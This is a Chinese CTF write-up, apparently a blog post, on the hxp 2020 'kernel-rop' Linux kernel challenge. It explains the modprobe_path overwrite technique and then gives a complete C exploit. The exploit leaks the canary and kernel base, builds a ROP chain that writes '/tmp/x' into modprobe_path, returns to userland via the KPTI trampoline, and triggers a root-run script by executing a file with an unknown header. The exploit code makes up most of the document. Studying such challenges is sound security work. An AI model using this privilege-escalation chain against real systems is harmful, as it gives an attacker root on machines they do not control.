2020 hxpctf kernel-rop

学kernel的第四天,还是挺不好学的···

通过这道题我们来学习一下通过覆盖modprobe_path的内核漏洞利用姿势

拿到题目后先解包,分析下启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

开启了smep和smap,无法直接访问用户数据或者执行用户代码,开了kaslr

然后来分析下ko

2020 hxpctf kernel-rop_第1张图片
2020 hxpctf kernel-rop_第2张图片

平平无奇的读写,但是都存在大范围的溢出。

这道题主要就是考察当有了内核任意地址读写之后,如何进行提权操作

首先,什么是modprobe呢?根据维基百科的说法:“modprobe是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块”。也就是说,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:

cat /proc/sys/kernel/modprobe

而这个程序的路径存放在modprobe_path,它位于一个可写的内存页中,我们可以通过读取/proc/kallsyms得到它的地址

如:

cat /proc/kallsyms | grep modprobe_path

当我们执行的文件类型是系统未知的类型时,将执行modprobe程序,准确的来说,应该是对文件签名(又称魔术头)为系统未知的文件调用execve()函数时,它将调用下列函数,并最终调用modprobe:

do_execve()

do_execveat_common()

bprm_execve()

exec_binprm()

search_binary_handler()

request_module()

call_modprobe()

最后会执行下列代码:

static int call_modprobe(char *module_name, int wait)

{

    ...

    argv[0] = modprobe_path;

    argv[1] = "-q";

    argv[2] = "--";

    argv[3] = module_name;

    argv[4] = NULL;

 

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,

                    NULL, free_modprobe_argv, NULL);

    ...

}

也就是说如果我们用任意写将modprobe_path覆盖成一个我们自己编写的shell脚本的路径,然后我们执行一个未知文件签名的文件。其结果是,当系统仍处于内核模式时,shell脚本将被执行,从而导致具有root权限的任意代码执行

后面具体如何通过modprobe_path覆盖读flag可以参考这篇文章:https://blog.csdn.net/weixin_46483787/article/details/124240829?spm=1001.2014.3001.5501

这里直接给出具体exp:

#include
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
int global_fd;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long cookie=0;
unsigned long image_base=0;
unsigned long base=0xffffffff81000000;
unsigned long modprobe_path=0;
unsigned long kpti_trampoline=0;
unsigned long pop_rax_ret=0;
unsigned long write_ptr_rbx_rax_pop2_ret=0;
unsigned long pop_rbx_r12_rbp_ret=0;
void save_status() 
{
    asm(
            "movq %%cs, %0\n\t"
            "movq %%ss, %1\n\t"
            "movq %%rsp, %2\n\t"
            "pushfq\n\t"
            "popq %3\n\t"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
            :
            : "memory");

 }
void open_dev()
{
        global_fd=open("/dev/hackme",O_RDWR);
        if(global_fd<0){
                puts("[!] Failed to open device\n");
                exit(-1);
        }else{
                puts("[*] Opened device");
        }
}
void leak_canary()
{
    unsigned long leak[0x30]={0};
    int leak_size=read(global_fd,leak,sizeof(leak));
    cookie=leak[16];
    image_base=leak[38]-0xa157;
    kpti_trampoline=image_base+0x200f10+22;
    modprobe_path=image_base+0x1061820;
    pop_rax_ret = image_base + 0x4d11UL;
    pop_rbx_r12_rbp_ret = image_base + 0x3190UL;
    write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;
    printf("[*]leak %d bytes\n",leak_size);
    printf("[*]leak canary : %lx\n",cookie);
    printf("[*]leak image base: %lx\n",image_base);
}
void get_shell()
{
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}
void get_flag(){
    puts("[*] Returned to userland, setting up for fake modprobe");
    system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    puts("[*] Run unknown file");
    system("/tmp/dummy");
    puts("[*] Hopefully flag is readable");
    system("cat /tmp/flag");
    exit(0);

}
void overflow(){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
    payload[off++] = pop_rbx_r12_rbp_ret;
    payload[off++] = modprobe_path; // rbx <- modprobe_path
    payload[off++] = 0x0; // dummy r12
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_flag;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    puts("[*] Prepared payload to overwrite modprobe_path");
    ssize_t w = write(global_fd, payload, sizeof(payload));
    puts("[!] Should never be reached");

}
int main()
{
    save_status();
    open_dev();
    leak_canary();
    overflow();
}

你可能感兴趣的:(kernel,pwn,linux,pwn,网络安全)